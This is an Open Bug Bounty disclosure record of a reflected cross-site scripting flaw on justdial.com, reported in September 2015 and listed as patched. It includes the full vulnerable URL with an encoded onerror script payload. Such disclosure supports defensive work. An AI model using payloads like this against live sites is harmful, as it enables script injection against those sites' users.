Lucene search

K
openbugbountyNeoOBB:84900
HistorySep 07, 2015 - 9:01 a.m.

justdial.com XSS vulnerability

2015-09-0709:01:00
Neo
www.openbugbounty.org
6
Vulnerable URL:
http://www.justdial.com/Mumbai/quota-%3Cnear%3E-Khetwadi&%22%3E%3Cimg%20src=x%20onerror=prompt%28'XSSPOSED'%29;%3E
Details:
Description Value
Patched: Yes, at 19.11.2015
Latest check for patch: 19.11.2015 02:57 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 470
Google Pagerank 5
VIP website status: Yes
Check justdial.com SSL connection: (Grade: A-)
Coordinated Disclosure Timeline:
Description Value
Vulnerability reported 7 September, 2015 09:01 GMT
Vulnerability existence verified and confirmed 7 September, 2015 09:03 GMT